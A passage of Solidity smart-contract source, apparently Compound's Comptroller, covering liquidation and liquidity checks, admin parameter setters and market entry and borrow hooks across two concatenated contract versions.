The borrower must have shortfall in order to be liquidatable */ (Error err, , uint shortfall) = getAccountLiquidityInternal(borrower); if (err != Error.NO_ERROR) { return uint(err); } if (shortfall == 0) { return uint(Error.INSUFFICIENT_SHORTFALL); } /* The liquidator may not repay more than what is allowed by the closeFactor */ uint borrowBalance = CToken(cTokenBorrowed).borrowBalanceStored(borrower); (MathError mathErr, uint maxClose) = mulScalarTruncate(Exp({mantissa: closeFactorMantissa}), borrowBalance); if (mathErr != MathError.NO_ERROR) { return uint(Error.MATH_ERROR); } if (repayAmount > maxClose) { return uint(Error.TOO_MUCH_REPAY); } return uint(Error.NO_ERROR); } /** * @notice Validates liquidateBorrow and reverts on rejection. May emit logs. * @param cTokenBorrowed Asset which was borrowed by the borrower * @param cTokenCollateral Asset which was used as collateral and will be seized * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param repayAmount The amount of underlying being repaid */ function liquidateBorrowVerify( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint repayAmount, uint seizeTokens) external { cTokenBorrowed; // currently unused cTokenCollateral; // currently unused liquidator; // currently unused borrower; // currently unused repayAmount; // currently unused seizeTokens; // currently unused if (false) { maxAssets = maxAssets; // not pure } } /** * @notice Checks if the seizing of assets should be allowed to occur * @param cTokenCollateral Asset which was used as collateral and will be seized * @param cTokenBorrowed Asset which was borrowed by the borrower * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param seizeTokens The number of collateral tokens to seize */ function seizeAllowed( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external returns (uint) { liquidator; // currently unused borrower; // currently unused seizeTokens; // currently unused if (!markets[cTokenCollateral].isListed || !markets[cTokenBorrowed].isListed) { return uint(Error.MARKET_NOT_LISTED); } if (CToken(cTokenCollateral).comptroller() != CToken(cTokenBorrowed).comptroller()) { return uint(Error.COMPTROLLER_MISMATCH); } // *may include Policy Hook-type checks return uint(Error.NO_ERROR); } /** * @notice Validates seize and reverts on rejection. May emit logs. * @param cTokenCollateral Asset which was used as collateral and will be seized * @param cTokenBorrowed Asset which was borrowed by the borrower * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param seizeTokens The number of collateral tokens to seize */ function seizeVerify( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external { cTokenCollateral; // currently unused cTokenBorrowed; // currently unused liquidator; // currently unused borrower; // currently unused seizeTokens; // currently unused if (false) { maxAssets = maxAssets; // not pure } } /** * @notice Checks if the account should be allowed to transfer tokens in the given market * @param cToken The market to verify the transfer against * @param src The account which sources the tokens * @param dst The account which receives the tokens * @param transferTokens The number of cTokens to transfer * @return 0 if the transfer is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function transferAllowed(address cToken, address src, address dst, uint transferTokens) external returns (uint) { cToken; // currently unused src; // currently unused dst; // currently unused transferTokens; // currently unused // *may include Policy Hook-type checks // Currently the only consideration is whether or not // the src is allowed to redeem this many tokens return redeemAllowedInternal(cToken, src, transferTokens); } /** * @notice Validates transfer and reverts on rejection. May emit logs. * @param cToken Asset being transferred * @param src The account which sources the tokens * @param dst The account which receives the tokens * @param transferTokens The number of cTokens to transfer */ function transferVerify(address cToken, address src, address dst, uint transferTokens) external { cToken; // currently unused src; // currently unused dst; // currently unused transferTokens; // currently unused if (false) { maxAssets = maxAssets; // not pure } } /*** Liquidity/Liquidation Calculations ***/ /** * @dev Local vars for avoiding stack-depth limits in calculating account liquidity. * Note that `cTokenBalance` is the number of cTokens the account owns in the market, * whereas `borrowBalance` is the amount of underlying that the account has borrowed. */ struct AccountLiquidityLocalVars { uint sumCollateral; uint sumBorrowPlusEffects; uint cTokenBalance; uint borrowBalance; uint exchangeRateMantissa; uint oraclePriceMantissa; Exp collateralFactor; Exp exchangeRate; Exp oraclePrice; Exp tokensToEther; } /** * @notice Determine the current account liquidity wrt collateral requirements * @return (possible error code (semi-opaque), account liquidity in excess of collateral requirements, * account shortfall below collateral requirements) */ function getAccountLiquidity(address account) public view returns (uint, uint, uint) { (Error err, uint liquidity, uint shortfall) = getHypotheticalAccountLiquidityInternal(account, CToken(0), 0, 0); return (uint(err), liquidity, shortfall); } /** * @notice Determine the current account liquidity wrt collateral requirements * @return (possible error code, account liquidity in excess of collateral requirements, * account shortfall below collateral requirements) */ function getAccountLiquidityInternal(address account) internal view returns (Error, uint, uint) { return getHypotheticalAccountLiquidityInternal(account, CToken(0), 0, 0); } /** * @notice Determine what the account liquidity would be if the given amounts were redeemed/borrowed * @param cTokenModify The market to hypothetically redeem/borrow in * @param account The account to determine liquidity for * @param redeemTokens The number of tokens to hypothetically redeem * @param borrowAmount The amount of underlying to hypothetically borrow * @dev Note that we calculate the exchangeRateStored for each collateral cToken using stored data, * without calculating accumulated interest. * @return (possible error code, hypothetical account liquidity in excess of collateral requirements, * hypothetical account shortfall below collateral requirements) */ function getHypotheticalAccountLiquidityInternal( address account, CToken cTokenModify, uint redeemTokens, uint borrowAmount) internal view returns (Error, uint, uint) { AccountLiquidityLocalVars memory vars; // Holds all our calculation results uint oErr; MathError mErr; // For each asset the account is in CToken[] memory assets = accountAssets[account]; for (uint i = 0; i < assets.length; i++) { CToken asset = assets[i]; // Read the balances and exchange rate from the cToken (oErr, vars.cTokenBalance, vars.borrowBalance, vars.exchangeRateMantissa) = asset.getAccountSnapshot(account); if (oErr != 0) { // semi-opaque error code, we assume NO_ERROR == 0 is invariant between upgrades return (Error.SNAPSHOT_ERROR, 0, 0); } vars.collateralFactor = Exp({mantissa: markets[address(asset)].collateralFactorMantissa}); vars.exchangeRate = Exp({mantissa: vars.exchangeRateMantissa}); // Get the normalized price of the asset vars.oraclePriceMantissa = oracle.getUnderlyingPrice(asset); if (vars.oraclePriceMantissa == 0) { return (Error.PRICE_ERROR, 0, 0); } vars.oraclePrice = Exp({mantissa: vars.oraclePriceMantissa}); // Pre-compute a conversion factor from tokens -> ether (normalized price value) (mErr, vars.tokensToEther) = mulExp3(vars.collateralFactor, vars.exchangeRate, vars.oraclePrice); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } // sumCollateral += tokensToEther * cTokenBalance (mErr, vars.sumCollateral) = mulScalarTruncateAddUInt(vars.tokensToEther, vars.cTokenBalance, vars.sumCollateral); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } // sumBorrowPlusEffects += oraclePrice * borrowBalance (mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.oraclePrice, vars.borrowBalance, vars.sumBorrowPlusEffects); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } // Calculate effects of interacting with cTokenModify if (asset == cTokenModify) { // redeem effect // sumBorrowPlusEffects += tokensToEther * redeemTokens (mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.tokensToEther, redeemTokens, vars.sumBorrowPlusEffects); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } // borrow effect // sumBorrowPlusEffects += oraclePrice * borrowAmount (mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.oraclePrice, borrowAmount, vars.sumBorrowPlusEffects); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } } } // These are safe, as the underflow condition is checked first if (vars.sumCollateral > vars.sumBorrowPlusEffects) { return (Error.NO_ERROR, vars.sumCollateral - vars.sumBorrowPlusEffects, 0); } else { return (Error.NO_ERROR, 0, vars.sumBorrowPlusEffects - vars.sumCollateral); } } /** * @notice Calculate number of tokens of collateral asset to seize given an underlying amount * @dev Used in liquidation (called in cToken.liquidateBorrowFresh) * @param cTokenBorrowed The address of the borrowed cToken * @param cTokenCollateral The address of the collateral cToken * @param repayAmount The amount of cTokenBorrowed underlying to convert into cTokenCollateral tokens * @return (errorCode, number of cTokenCollateral tokens to be seized in a liquidation) */ function liquidateCalculateSeizeTokens(address cTokenBorrowed, address cTokenCollateral, uint repayAmount) external view returns (uint, uint) { /* Read oracle prices for borrowed and collateral markets */ uint priceBorrowedMantissa = oracle.getUnderlyingPrice(CToken(cTokenBorrowed)); uint priceCollateralMantissa = oracle.getUnderlyingPrice(CToken(cTokenCollateral)); if (priceBorrowedMantissa == 0 || priceCollateralMantissa == 0) { return (uint(Error.PRICE_ERROR), 0); } /* * Get the exchange rate and calculate the number of collateral tokens to seize: * seizeAmount = repayAmount * liquidationIncentive * priceBorrowed / priceCollateral * seizeTokens = seizeAmount / exchangeRate * = repayAmount * (liquidationIncentive * priceBorrowed) / (priceCollateral * exchangeRate) */ uint exchangeRateMantissa = CToken(cTokenCollateral).exchangeRateStored(); // Note: reverts on error uint seizeTokens; Exp memory numerator; Exp memory denominator; Exp memory ratio; MathError mathErr; (mathErr, numerator) = mulExp(liquidationIncentiveMantissa, priceBorrowedMantissa); if (mathErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0); } (mathErr, denominator) = mulExp(priceCollateralMantissa, exchangeRateMantissa); if (mathErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0); } (mathErr, ratio) = divExp(numerator, denominator); if (mathErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0); } (mathErr, seizeTokens) = mulScalarTruncate(ratio, repayAmount); if (mathErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0); } return (uint(Error.NO_ERROR), seizeTokens); } /*** Admin Functions ***/ /** * @notice Sets a new price oracle for the comptroller * @dev Admin function to set a new price oracle * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setPriceOracle(PriceOracle newOracle) public returns (uint) { // Check caller is admin OR currently initialzing as new unitroller implementation if (!adminOrInitializing()) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PRICE_ORACLE_OWNER_CHECK); } // Track the old oracle for the comptroller PriceOracle oldOracle = oracle; // Ensure invoke newOracle.isPriceOracle() returns true // require(newOracle.isPriceOracle(), "oracle method isPriceOracle returned false"); // Set comptroller's oracle to newOracle oracle = newOracle; // Emit NewPriceOracle(oldOracle, newOracle) emit NewPriceOracle(oldOracle, newOracle); return uint(Error.NO_ERROR); } /** * @notice Sets the closeFactor used when liquidating borrows * @dev Admin function to set closeFactor * @param newCloseFactorMantissa New close factor, scaled by 1e18 * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setCloseFactor(uint newCloseFactorMantissa) external returns (uint256) { // Check caller is admin OR currently initialzing as new unitroller implementation if (!adminOrInitializing()) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_CLOSE_FACTOR_OWNER_CHECK); } Exp memory newCloseFactorExp = Exp({mantissa: newCloseFactorMantissa}); Exp memory lowLimit = Exp({mantissa: closeFactorMinMantissa}); if (lessThanOrEqualExp(newCloseFactorExp, lowLimit)) { return fail(Error.INVALID_CLOSE_FACTOR, FailureInfo.SET_CLOSE_FACTOR_VALIDATION); } Exp memory highLimit = Exp({mantissa: closeFactorMaxMantissa}); if (lessThanExp(highLimit, newCloseFactorExp)) { return fail(Error.INVALID_CLOSE_FACTOR, FailureInfo.SET_CLOSE_FACTOR_VALIDATION); } uint oldCloseFactorMantissa = closeFactorMantissa; closeFactorMantissa = newCloseFactorMantissa; emit NewCloseFactor(oldCloseFactorMantissa, closeFactorMantissa); return uint(Error.NO_ERROR); } /** * @notice Sets the collateralFactor for a market * @dev Admin function to set per-market collateralFactor * @param cToken The market to set the factor on * @param newCollateralFactorMantissa The new collateral factor, scaled by 1e18 * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setCollateralFactor(CToken cToken, uint newCollateralFactorMantissa) external returns (uint256) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_COLLATERAL_FACTOR_OWNER_CHECK); } // Verify market is listed Market storage market = markets[address(cToken)]; if (!market.isListed) { return fail(Error.MARKET_NOT_LISTED, FailureInfo.SET_COLLATERAL_FACTOR_NO_EXISTS); } Exp memory newCollateralFactorExp = Exp({mantissa: newCollateralFactorMantissa}); // Check collateral factor <= 0.9 Exp memory highLimit = Exp({mantissa: collateralFactorMaxMantissa}); if (lessThanExp(highLimit, newCollateralFactorExp)) { return fail(Error.INVALID_COLLATERAL_FACTOR, FailureInfo.SET_COLLATERAL_FACTOR_VALIDATION); } // If collateral factor != 0, fail if price == 0 if (newCollateralFactorMantissa != 0 && oracle.getUnderlyingPrice(cToken) == 0) { return fail(Error.PRICE_ERROR, FailureInfo.SET_COLLATERAL_FACTOR_WITHOUT_PRICE); } // Set market's collateral factor to new collateral factor, remember old value uint oldCollateralFactorMantissa = market.collateralFactorMantissa; market.collateralFactorMantissa = newCollateralFactorMantissa; // Emit event with asset, old collateral factor, and new collateral factor emit NewCollateralFactor(cToken, oldCollateralFactorMantissa, newCollateralFactorMantissa); return uint(Error.NO_ERROR); } /** * @notice Sets maxAssets which controls how many markets can be entered * @dev Admin function to set maxAssets * @param newMaxAssets New max assets * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setMaxAssets(uint newMaxAssets) external returns (uint) { // Check caller is admin OR currently initialzing as new unitroller implementation if (!adminOrInitializing()) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_MAX_ASSETS_OWNER_CHECK); } uint oldMaxAssets = maxAssets; maxAssets = newMaxAssets; emit NewMaxAssets(oldMaxAssets, newMaxAssets); return uint(Error.NO_ERROR); } /** * @notice Sets liquidationIncentive * @dev Admin function to set liquidationIncentive * @param newLiquidationIncentiveMantissa New liquidationIncentive scaled by 1e18 * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setLiquidationIncentive(uint newLiquidationIncentiveMantissa) external returns (uint) { // Check caller is admin OR currently initialzing as new unitroller implementation if (!adminOrInitializing()) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_LIQUIDATION_INCENTIVE_OWNER_CHECK); } // Check de-scaled 1 <= newLiquidationDiscount <= 1.5 Exp memory newLiquidationIncentive = Exp({mantissa: newLiquidationIncentiveMantissa}); Exp memory minLiquidationIncentive = Exp({mantissa: liquidationIncentiveMinMantissa}); if (lessThanExp(newLiquidationIncentive, minLiquidationIncentive)) { return fail(Error.INVALID_LIQUIDATION_INCENTIVE, FailureInfo.SET_LIQUIDATION_INCENTIVE_VALIDATION); } Exp memory maxLiquidationIncentive = Exp({mantissa: liquidationIncentiveMaxMantissa}); if (lessThanExp(maxLiquidationIncentive, newLiquidationIncentive)) { return fail(Error.INVALID_LIQUIDATION_INCENTIVE, FailureInfo.SET_LIQUIDATION_INCENTIVE_VALIDATION); } // Save current value for use in log uint oldLiquidationIncentiveMantissa = liquidationIncentiveMantissa; // Set liquidation incentive to new incentive liquidationIncentiveMantissa = newLiquidationIncentiveMantissa; // Emit event with old incentive, new incentive emit NewLiquidationIncentive(oldLiquidationIncentiveMantissa, newLiquidationIncentiveMantissa); return uint(Error.NO_ERROR); } /** * @notice Add the market to the markets mapping and set it as listed * @dev Admin function to set isListed and add support for the market * @param cToken The address of the market (token) to list * @return uint 0=success, otherwise a failure. (See enum Error for details) */ function _supportMarket(CToken cToken) external returns (uint) { if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SUPPORT_MARKET_OWNER_CHECK); } if (markets[address(cToken)].isListed) { return fail(Error.MARKET_ALREADY_LISTED, FailureInfo.SUPPORT_MARKET_EXISTS); } cToken.isCToken(); // Sanity check to make sure its really a CToken markets[address(cToken)] = Market({isListed: true, collateralFactorMantissa: 0}); emit MarketListed(cToken); return uint(Error.NO_ERROR); } function _become(Unitroller unitroller, PriceOracle _oracle, uint _closeFactorMantissa, uint _maxAssets, bool reinitializing) public { require(msg.sender == unitroller.admin(), "only unitroller admin can change brains"); uint changeStatus = unitroller._acceptImplementation(); require(changeStatus == 0, "change not authorized"); if (!reinitializing) { ComptrollerG1 freshBrainedComptroller = ComptrollerG1(address(unitroller)); // Ensure invoke _setPriceOracle() = 0 uint err = freshBrainedComptroller._setPriceOracle(_oracle); require (err == uint(Error.NO_ERROR), "set price oracle error"); // Ensure invoke _setCloseFactor() = 0 err = freshBrainedComptroller._setCloseFactor(_closeFactorMantissa); require (err == uint(Error.NO_ERROR), "set close factor error"); // Ensure invoke _setMaxAssets() = 0 err = freshBrainedComptroller._setMaxAssets(_maxAssets); require (err == uint(Error.NO_ERROR), "set max asssets error"); // Ensure invoke _setLiquidationIncentive(liquidationIncentiveMinMantissa) = 0 err = freshBrainedComptroller._setLiquidationIncentive(liquidationIncentiveMinMantissa); require (err == uint(Error.NO_ERROR), "set liquidation incentive error"); } } /** * @dev Check that caller is admin or this contract is initializing itself as * the new implementation. * There should be no way to satisfy msg.sender == comptrollerImplementaiton * without tx.origin also being admin, but both are included for extra safety */ function adminOrInitializing() internal view returns (bool) { bool initializing = ( msg.sender == comptrollerImplementation && //solium-disable-next-line security/no-tx-origin tx.origin == admin ); bool isAdmin = msg.sender == admin; return isAdmin || initializing; } }pragma solidity ^0.5.16; import "./CToken.sol"; import "./ErrorReporter.sol"; import "./Exponential.sol"; import "./PriceOracle.sol"; import "./ComptrollerInterface.sol"; import "./ComptrollerStorage.sol"; import "./Unitroller.sol"; import "./Governance/Comp.sol"; /** * @title Compound's Comptroller Contract * @author Compound */ contract ComptrollerG3 is ComptrollerV3Storage, ComptrollerInterface, ComptrollerErrorReporter, Exponential { /// @notice Emitted when an admin supports a market event MarketListed(CToken cToken); /// @notice Emitted when an account enters a market event MarketEntered(CToken cToken, address account); /// @notice Emitted when an account exits a market event MarketExited(CToken cToken, address account); /// @notice Emitted when close factor is changed by admin event NewCloseFactor(uint oldCloseFactorMantissa, uint newCloseFactorMantissa); /// @notice Emitted when a collateral factor is changed by admin event NewCollateralFactor(CToken cToken, uint oldCollateralFactorMantissa, uint newCollateralFactorMantissa); /// @notice Emitted when liquidation incentive is changed by admin event NewLiquidationIncentive(uint oldLiquidationIncentiveMantissa, uint newLiquidationIncentiveMantissa); /// @notice Emitted when maxAssets is changed by admin event NewMaxAssets(uint oldMaxAssets, uint newMaxAssets); /// @notice Emitted when price oracle is changed event NewPriceOracle(PriceOracle oldPriceOracle, PriceOracle newPriceOracle); /// @notice Emitted when pause guardian is changed event NewPauseGuardian(address oldPauseGuardian, address newPauseGuardian); /// @notice Emitted when an action is paused globally event ActionPaused(string action, bool pauseState); /// @notice Emitted when an action is paused on a market event ActionPaused(CToken cToken, string action, bool pauseState); /// @notice Emitted when market comped status is changed event MarketComped(CToken cToken, bool isComped); /// @notice Emitted when COMP rate is changed event NewCompRate(uint oldCompRate, uint newCompRate); /// @notice Emitted when a new COMP speed is calculated for a market event CompSpeedUpdated(CToken indexed cToken, uint newSpeed); /// @notice Emitted when COMP is distributed to a supplier event DistributedSupplierComp(CToken indexed cToken, address indexed supplier, uint compDelta, uint compSupplyIndex); /// @notice Emitted when COMP is distributed to a borrower event DistributedBorrowerComp(CToken indexed cToken, address indexed borrower, uint compDelta, uint compBorrowIndex); /// @notice The threshold above which the flywheel transfers COMP, in wei uint public constant compClaimThreshold = 0.001e18; /// @notice The initial COMP index for a market uint224 public constant compInitialIndex = 1e36; // closeFactorMantissa must be strictly greater than this value uint internal constant closeFactorMinMantissa = 0.05e18; // 0.05 // closeFactorMantissa must not exceed this value uint internal constant closeFactorMaxMantissa = 0.9e18; // 0.9 // No collateralFactorMantissa may exceed this value uint internal constant collateralFactorMaxMantissa = 0.9e18; // 0.9 // liquidationIncentiveMantissa must be no less than this value uint internal constant liquidationIncentiveMinMantissa = 1.0e18; // 1.0 // liquidationIncentiveMantissa must be no greater than this value uint internal constant liquidationIncentiveMaxMantissa = 1.5e18; // 1.5 constructor() public { admin = msg.sender; } /*** Assets You Are In ***/ /** * @notice Returns the assets an account has entered * @param account The address of the account to pull assets for * @return A dynamic list with the assets the account has entered */ function getAssetsIn(address account) external view returns (CToken[] memory) { CToken[] memory assetsIn = accountAssets[account]; return assetsIn; } /** * @notice Returns whether the given account is entered in the given asset * @param account The address of the account to check * @param cToken The cToken to check * @return True if the account is in the asset, otherwise false. */ function checkMembership(address account, CToken cToken) external view returns (bool) { return markets[address(cToken)].accountMembership[account]; } /** * @notice Add assets to be included in account liquidity calculation * @param cTokens The list of addresses of the cToken markets to be enabled * @return Success indicator for whether each corresponding market was entered */ function enterMarkets(address[] memory cTokens) public returns (uint[] memory) { uint len = cTokens.length; uint[] memory results = new uint[](len); for (uint i = 0; i < len; i++) { CToken cToken = CToken(cTokens[i]); results[i] = uint(addToMarketInternal(cToken, msg.sender)); } return results; } /** * @notice Add the market to the borrower's "assets in" for liquidity calculations * @param cToken The market to enter * @param borrower The address of the account to modify * @return Success indicator for whether the market was entered */ function addToMarketInternal(CToken cToken, address borrower) internal returns (Error) { Market storage marketToJoin = markets[address(cToken)]; if (!marketToJoin.isListed) { // market is not listed, cannot join return Error.MARKET_NOT_LISTED; } if (marketToJoin.accountMembership[borrower] == true) { // already joined return Error.NO_ERROR; } if (accountAssets[borrower].length >= maxAssets) { // no space, cannot join return Error.TOO_MANY_ASSETS; } // survived the gauntlet, add to list // NOTE: we store these somewhat redundantly as a significant optimization // this avoids having to iterate through the list for the most common use cases // that is, only when we need to perform liquidity checks // and not whenever we want to check if an account is in a particular market marketToJoin.accountMembership[borrower] = true; accountAssets[borrower].push(cToken); emit MarketEntered(cToken, borrower); return Error.NO_ERROR; } /** * @notice Removes asset from sender's account liquidity calculation * @dev Sender must not have an outstanding borrow balance in the asset, * or be providing neccessary collateral for an outstanding borrow. * @param cTokenAddress The address of the asset to be removed * @return Whether or not the account successfully exited the market */ function exitMarket(address cTokenAddress) external returns (uint) { CToken cToken = CToken(cTokenAddress); /* Get sender tokensHeld and amountOwed underlying from the cToken */ (uint oErr, uint tokensHeld, uint amountOwed, ) = cToken.getAccountSnapshot(msg.sender); require(oErr == 0, "exitMarket: getAccountSnapshot failed"); // semi-opaque error code /* Fail if the sender has a borrow balance */ if (amountOwed != 0) { return fail(Error.NONZERO_BORROW_BALANCE, FailureInfo.EXIT_MARKET_BALANCE_OWED); } /* Fail if the sender is not permitted to redeem all of their tokens */ uint allowed = redeemAllowedInternal(cTokenAddress, msg.sender, tokensHeld); if (allowed != 0) { return failOpaque(Error.REJECTION, FailureInfo.EXIT_MARKET_REJECTION, allowed); } Market storage marketToExit = markets[address(cToken)]; /* Return true if the sender is not already ‘in’ the market */ if (!marketToExit.accountMembership[msg.sender]) { return uint(Error.NO_ERROR); } /* Set cToken account membership to false */ delete marketToExit.accountMembership[msg.sender]; /* Delete cToken from the account’s list of assets */ // load into memory for faster iteration CToken[] memory userAssetList = accountAssets[msg.sender]; uint len = userAssetList.length; uint assetIndex = len; for (uint i = 0; i < len; i++) { if (userAssetList[i] == cToken) { assetIndex = i; break; } } // We *must* have found the asset in the list or our redundant data structure is broken assert(assetIndex < len); // copy last item in list to location of item to be removed, reduce length by 1 CToken[] storage storedList = accountAssets[msg.sender]; storedList[assetIndex] = storedList[storedList.length - 1]; storedList.length--; emit MarketExited(cToken, msg.sender); return uint(Error.NO_ERROR); } /*** Policy Hooks ***/ /** * @notice Checks if the account should be allowed to mint tokens in the given market * @param cToken The market to verify the mint against * @param minter The account which would get the minted tokens * @param mintAmount The amount of underlying being supplied to the market in exchange for tokens * @return 0 if the mint is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function mintAllowed(address cToken, address minter, uint mintAmount) external returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!mintGuardianPaused[cToken], "mint is paused"); // Shh - currently unused minter; mintAmount; if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } // Keep the flywheel moving updateCompSupplyIndex(cToken); distributeSupplierComp(cToken, minter, false); return uint(Error.NO_ERROR); } /** * @notice Validates mint and reverts on rejection. May emit logs. * @param cToken Asset being minted * @param minter The address minting the tokens * @param actualMintAmount The amount of the underlying asset being minted * @param mintTokens The number of tokens being minted */ function mintVerify(address cToken, address minter, uint actualMintAmount, uint mintTokens) external { // Shh - currently unused cToken; minter; actualMintAmount; mintTokens; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the account should be allowed to redeem tokens in the given market * @param cToken The market to verify the redeem against * @param redeemer The account which would redeem the tokens * @param redeemTokens The number of cTokens to exchange for the underlying asset in the market * @return 0 if the redeem is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function redeemAllowed(address cToken, address redeemer, uint redeemTokens) external returns (uint) { uint allowed = redeemAllowedInternal(cToken, redeemer, redeemTokens); if (allowed != uint(Error.NO_ERROR)) { return allowed; } // Keep the flywheel moving updateCompSupplyIndex(cToken); distributeSupplierComp(cToken, redeemer, false); return uint(Error.NO_ERROR); } function redeemAllowedInternal(address cToken, address redeemer, uint redeemTokens) internal view returns (uint) { if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } /* If the redeemer is not 'in' the market, then we can bypass the liquidity check */ if (!markets[cToken].accountMembership[redeemer]) { return uint(Error.NO_ERROR); } /* Otherwise, perform a hypothetical liquidity check to guard against shortfall */ (Error err, , uint shortfall) = getHypotheticalAccountLiquidityInternal(redeemer, CToken(cToken), redeemTokens, 0); if (err != Error.NO_ERROR) { return uint(err); } if (shortfall > 0) { return uint(Error.INSUFFICIENT_LIQUIDITY); } return uint(Error.NO_ERROR); } /** * @notice Validates redeem and reverts on rejection. May emit logs. * @param cToken Asset being redeemed * @param redeemer The address redeeming the tokens * @param redeemAmount The amount of the underlying asset being redeemed * @param redeemTokens The number of tokens being redeemed */ function redeemVerify(address cToken, address redeemer, uint redeemAmount, uint redeemTokens) external { // Shh - currently unused cToken; redeemer; // Require tokens is zero or amount is also zero if (redeemTokens == 0 && redeemAmount > 0) { revert("redeemTokens zero"); } } /** * @notice Checks if the account should be allowed to borrow the underlying asset of the given market * @param cToken The market to verify the borrow against * @param borrower The account which would borrow the asset * @param borrowAmount The amount of underlying the account would borrow * @return 0 if the borrow is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function borrowAllowed(address cToken, address borrower, uint borrowAmount) external returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!borrowGuardianPaused[cToken], "borrow is paused"); if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } if (!markets[cToken].accountMembership[borrower]) { // only cTokens may call borrowAllowed if borrower not in market require(msg.sender == cToken, "sender must be cToken"); // attempt to add borrower to the market Error err = addToMarketInternal(CToken(msg.sender), borrower); if (err != Error.NO_ERROR) { return uint(err); } // it should be impossible to break the important invariant assert(markets[cToken].accountMembership[borrower]); } if (oracle.getUnderlyingPrice(CToken(cToken)) == 0) { return uint(Error.PRICE_ERROR); } (Error err, , uint shortfall) = getHypotheticalAccountLiquidityInternal(borrower, CToken(cToken), 0, borrowAmount); if (err != Error.NO_ERROR) { return uint(err); } if (shortfall > 0) { return uint(Error.INSUFFICIENT_LIQUIDITY); } // Keep the flywheel moving Exp memory borrowIndex = Exp({mantissa: CToken(cToken).borrowIndex()}); updateCompBorrowIndex(cToken, borrowIndex); distributeBorrowerComp(cToken, borrower, borrowIndex, false); return uint(Error.NO_ERROR); } /** * @notice Validates borrow and reverts on rejection. May emit logs. * @param cToken Asset whose underlying is being borrowed * @param borrower The address borrowing the underlying * @param borrowAmount The amount of the underlying asset requested to borrow */ function borrowVerify(address cToken, address borrower, uint borrowAmount) external { // Shh - currently unused cToken; borrower; borrowAmount; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the account should be allowed to repay a borrow in the given market * @param cToken The market to verify the repay against * @param payer The account which would repay the asset * @param borrower The account which would borrowed the asset * @param repayAmount The amount of the underlying asset the account would repay * @return 0 if the repay is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function repayBorrowAllowed( address cToken, address payer, address borrower, uint repayAmount) external returns (uint) { // Shh - currently unused payer; borrower; repayAmount; if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } // Keep the flywheel moving Exp memory borrowIndex = Exp({mantissa: CToken(cToken).borrowIndex()}); updateCompBorrowIndex(cToken, borrowIndex); distributeBorrowerComp(cToken, borrower, borrowIndex, false); return uint(Error.NO_ERROR); } /** * @notice Validates repayBorrow and reverts on rejection. May emit logs. * @param cToken Asset being repaid * @param payer The address repaying the borrow * @param borrower The address of the borrower * @param actualRepayAmount The amount of underlying being repaid */ function repayBorrowVerify( address cToken, address payer, address borrower, uint actualRepayAmount, uint borrowerIndex) external { // Shh - currently unused cToken; payer; borrower; actualRepayAmount; borrowerIndex; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the liquidation should be allowed to occur * @param cTokenBorrowed Asset which was borrowed by the borrower * @param cTokenCollateral Asset which was used as collateral and will be seized * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param repayAmount The amount of underlying being repaid */ function liquidateBorrowAllowed( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint repayAmount) external returns (uint) { // Shh - currently unused liquidator; if (!markets[cTokenBorrowed].isListed || !markets[cTokenCollateral].isListed) { return uint(Error.MARKET_NOT_LISTED); } /* The borrower must have shortfall in order to be liquidatable */ (Error err, , uint shortfall) = getAccountLiquidityInternal(borrower); if (err != Error.NO_ERROR) { return uint(err); } if (shortfall == 0) { return uint(Error.INSUFFICIENT_SHORTFALL); } /* The liquidator may not repay more than what is allowed by the closeFactor */ uint borrowBalance = CToken(cTokenBorrowed).borrowBalanceStored(borrower); (MathError mathErr, uint maxClose) = mulScalarTruncate(Exp({mantissa: closeFactorMantissa}), borrowBalance); if (mathErr != MathError.NO_ERROR) { return 